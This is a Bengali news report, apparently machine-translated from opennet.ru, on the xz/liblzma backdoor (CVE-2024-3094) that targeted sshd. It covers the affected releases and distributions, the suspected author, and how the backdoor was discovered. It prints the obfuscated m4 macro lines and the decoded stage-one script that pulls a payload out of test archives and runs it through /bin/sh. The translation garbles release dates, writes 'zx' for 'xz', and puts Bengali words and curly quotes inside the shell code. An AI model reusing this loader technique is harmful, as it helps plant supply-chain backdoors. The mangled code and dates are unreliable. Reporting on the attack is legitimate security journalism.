xz/liblzma লাইব্রেরিতে একটি ব্যাকডোর আবিষ্কৃত হয়েছে যা sshd এর মাধ্যমে প্রবেশের অনুমতি দেয়

XZ Utils প্যাকেজে, যার মধ্যে liblzma লাইব্রেরি এবং ".xz" ফর্ম্যাটে সংকুচিত ডেটার সাথে কাজ করার জন্য ইউটিলিটিগুলি অন্তর্ভুক্ত রয়েছে, একটি ব্যাকডোর (CVE-2024-3094) চিহ্নিত করা হয়েছে যা সংশ্লিষ্ট অ্যাপ্লিকেশনগুলির দ্বারা প্রক্রিয়াকৃত ডেটার বাধা এবং পরিবর্তনের অনুমতি দেয়। liblzma লাইব্রেরির সাথে। ব্যাকডোরের প্রধান টার্গেট হল OpenSSH সার্ভার, যা কিছু ডিস্ট্রিবিউশনে libsystemd লাইব্রেরির সাথে বান্ডিল করা হয়, যা ঘুরে liblzma ব্যবহার করে। একটি দুর্বল লাইব্রেরির সাথে sshd লিঙ্ক করা আক্রমণকারীদের প্রমাণীকরণ ছাড়াই SSH সার্ভারে অ্যাক্সেস পেতে দেয়।

5.6.0 ফেব্রুয়ারী এবং 5.6.1 মার্চ প্রকাশিত অফিসিয়াল রিলিজ 24 এবং 9-এ ব্যাকডোর উপস্থিত ছিল, যা কিছু ডিস্ট্রিবিউশন এবং রিপোজিটরিতে প্রবেশ করতে সক্ষম হয়েছে, উদাহরণস্বরূপ, জেন্টু, আর্চ লিনাক্স, ডেবিয়ান সিড/অস্থির, ফেডোরা রাহাইড এবং 40-বিটা, openSUSE ফ্যাক্টরি এবং টাম্বলউইড, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. xz 5.6.0 এবং 5.6.1 রিলিজের সমস্ত ব্যবহারকারীদের দ্রুত সংস্করণ 5.4.6-এ ফিরে আসার পরামর্শ দেওয়া হচ্ছে।

সমস্যাটি প্রশমিত করার কারণগুলির মধ্যে, এটি লক্ষ করা যেতে পারে যে ব্যাকডোর সহ liblzma সংস্করণটি বড় বিতরণের স্থিতিশীল প্রকাশের অংশ হতে পারেনি, তবে openSUSE Tumbleweed এবং Fedora 40-beta প্রভাবিত করেছে। Arch Linux এবং Gentoo zx-এর একটি দুর্বল সংস্করণ ব্যবহার করেছে, কিন্তু আক্রমণের জন্য সংবেদনশীল নয় কারণ তারা openssh-এ systemd-notify প্যাচ প্রয়োগ করে না, যার ফলে sshd-কে liblzma-এর সাথে লিঙ্ক করা হয়। ব্যাকডোর শুধুমাত্র Linux কার্নেল এবং Glibc C লাইব্রেরির উপর ভিত্তি করে x86_64 সিস্টেমকে প্রভাবিত করে।

ব্যাকডোর অ্যাক্টিভেশন কোডটি নির্মাণের সময় automake টুলকিট দ্বারা ব্যবহৃত build-to-host.m4 ফাইল থেকে m4 ম্যাক্রোতে লুকানো ছিল। সমাবেশের সময়, অপারেশনের সঠিকতা পরীক্ষা করতে ব্যবহৃত আর্কাইভ (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) এর উপর ভিত্তি করে জটিল অস্পষ্ট অপারেশন সম্পাদনের সময়, দূষিত কোড সহ একটি অবজেক্ট ফাইল তৈরি করা হয়েছিল, যা অন্তর্ভুক্ত ছিল liblzma লাইব্রেরি এবং অপারেশন লজিক এর কিছু ফাংশন পরিবর্তন করেছে। ব্যাকডোর-অ্যাক্টিভেটিং m4 ম্যাক্রো রিলিজ টারবলে অন্তর্ভুক্ত ছিল, কিন্তু গিট রিপোজিটরিতে ছিল না। একই সময়ে, দূষিত পরীক্ষার সংরক্ষণাগারগুলি সংগ্রহস্থলে উপস্থিত ছিল, যেমন যে ব্যক্তি ব্যাকডোর বাস্তবায়ন করেছে তার সংগ্রহস্থল এবং রিলিজ জেনারেশন উভয় প্রক্রিয়াতেই অ্যাক্সেস ছিল।

অ্যাপ্লিকেশনগুলিতে liblzma ব্যবহার করার সময়, ক্ষতিকারক পরিবর্তনগুলি ডেটা আটকাতে বা সংশোধন করতে বা sshd-এর ক্রিয়াকলাপকে প্রভাবিত করতে ব্যবহার করা যেতে পারে। বিশেষ করে, দূষিত কোডটি sshd প্রমাণীকরণ প্রক্রিয়াকে বাইপাস করার জন্য RSA_public_decrypt ফাংশনকে ফাঁকি দিয়েছে। ব্যাকডোরে সনাক্তকরণ থেকে সুরক্ষা অন্তর্ভুক্ত ছিল এবং যখন LANG এবং TERM এনভায়রনমেন্ট ভেরিয়েবল সেট করা হয়েছিল (অর্থাৎ, টার্মিনালে প্রক্রিয়া চালানোর সময়) এবং LD_DEBUG এবং LD_PROFILE এনভায়রনমেন্ট ভেরিয়েবল সেট করা ছিল না তখন এটি নিজেকে প্রকাশ করেনি এবং শুধুমাত্র কার্যকর করার সময় সক্রিয় করা হয়েছিল /usr/sbin/sshd এক্সিকিউটেবল ফাইল। ব্যাকডোরে ডিবাগ পরিবেশে এক্সিকিউশন সনাক্ত করার একটি মাধ্যমও ছিল।

বিশেষ করে, m4/build-to-host.m4 ফাইল ব্যবহার করা হয়েছে gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev/ null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1] _prefix -d 2>/dev/null'

প্রথম নির্মাণে, grep অপারেশন ফাইল tests/files/bad-3-corrupt_lzma2.xz খুঁজে পেয়েছিল, যা আনপ্যাক করার সময় স্ক্রিপ্ট তৈরি করে: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "লিনাক্স" ] && প্রস্থান করুন 0 [ ! $(uname) = "লিনাক্স" ] && প্রস্থান করুন 0 [ ! $(uname) = "লিনাক্স" ] && প্রস্থান করুন 0 [ ! $(uname) = "লিনাক্স" ] && প্রস্থান করুন 0 [ ! $(uname) = "Linux" ] && প্রস্থান করুন 0 eval `grep ^srcdir= config.status` যদি পরীক্ষা -f ../../config.status; তারপর eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi রপ্তানি i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####World####

আক্রমণকারীরা কিভাবে xz প্রকল্পের পরিকাঠামোতে প্রবেশ করতে পেরেছিল তা এখনও পুরোপুরি স্পষ্ট করা হয়নি। পিছনের দরজার ফলে কতজন ব্যবহারকারী এবং প্রকল্পের সাথে আপস করা হয়েছিল তা এখনও স্পষ্ট নয়। ব্যাকডোরের কথিত লেখক (JiaT75 - Jia Tan), যিনি রিপোজিটরিতে ক্ষতিকারক কোড সহ আর্কাইভ পোস্ট করেছিলেন, ফেডোরা ডেভেলপারদের সাথে যোগাযোগ করেছিলেন এবং ডেবিয়ানকে xz 5.6.0 শাখায় বিতরণের স্থানান্তর সম্পর্কিত পুল অনুরোধ পাঠিয়েছিলেন, এবং করেননি সন্দেহ জাগিয়েছে, যেহেতু তিনি xz-এ অংশগ্রহণ করেছেন গত দুই বছর ধরে উন্নয়নশীল এবং পরিবর্তনের সংখ্যার দিক থেকে দ্বিতীয় বিকাশকারী। xz প্রকল্পের পাশাপাশি, ব্যাকডোরের কথিত লেখকও xz-java এবং xz-এম্বেডেড প্যাকেজগুলির বিকাশে অংশগ্রহণ করেছিলেন। তদুপরি, জিয়া ট্যান কয়েকদিন আগে লিনাক্স কার্নেলে ব্যবহৃত XZ এমবেডেড প্রকল্পের রক্ষণাবেক্ষণকারীর সংখ্যায় অন্তর্ভুক্ত ছিল।

ডেবিয়ান সিড-ভিত্তিক সিস্টেমের সাথে ssh-এর মাধ্যমে সংযোগ করার সময় ভ্যালগ্রিন্ডের অত্যধিক CPU ব্যবহার এবং ত্রুটিগুলি বিশ্লেষণ করার পরে দূষিত পরিবর্তনটি আবিষ্কৃত হয়েছে। এটা উল্লেখযোগ্য যে xz 5.6.1 রিলিজে ব্যাকডোর সহ zx 5.6.0 সংস্করণে আপগ্রেড করার পরে sshd স্লোডাউন এবং ক্র্যাশের অভিযোগের প্রতিক্রিয়া হিসাবে ব্যাকডোরের কথিত লেখক দ্বারা প্রস্তুত করা পরিবর্তনগুলি অন্তর্ভুক্ত রয়েছে। উপরন্তু, গত বছর Jia Tan পরিবর্তন করেছে যেগুলি "-fsanitize=address" পরিদর্শন মোডের সাথে সামঞ্জস্যপূর্ণ নয়, যার ফলে এটি ফাজ পরীক্ষার সময় অক্ষম করা হয়েছে।

উত্স: opennet.ru